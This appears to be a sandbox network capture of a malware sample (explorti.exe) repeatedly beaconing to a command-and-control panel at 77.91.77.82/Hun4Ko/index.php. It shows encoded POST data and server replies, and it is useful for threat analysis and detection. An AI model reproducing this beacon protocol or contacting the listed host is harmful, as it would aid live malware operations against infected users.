Jul 4, 2024 20:36:18.151604891 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:18.899171114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49922	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:19.011213064 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:19.723592043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49923	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:19.731964111 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:20.428683043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49924	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:20.543068886 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:21.257392883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49925	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:21.268201113 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:22.000273943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49926	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:22.124248981 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49927	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:22.139161110 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:22.838504076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49928	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:22.963459015 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:23.838952065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49929	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:23.859020948 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:24.608355999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49930	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:24.928277969 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:25.634593010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49931	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:25.650842905 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:26.347860098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49932	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:26.464730978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:27.169723034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49933	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:27.187062979 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:27.912636042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49934	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:28.029278040 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:28.758488894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49935	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:28.768841028 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:29.491744995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49936	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:29.603915930 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:30.326673031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49937	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:30.335362911 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:31.059871912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49938	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:31.183109999 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49939	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:31.197182894 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:31.909857988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49940	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:32.031197071 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:32.742324114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49941	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:32.751768112 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:33.495146036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49942	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:33.620126009 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:34.345237970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49943	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:34.359343052 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:35.088563919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GyvREMzpSNTdcCH&MD=aG4zFxvE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
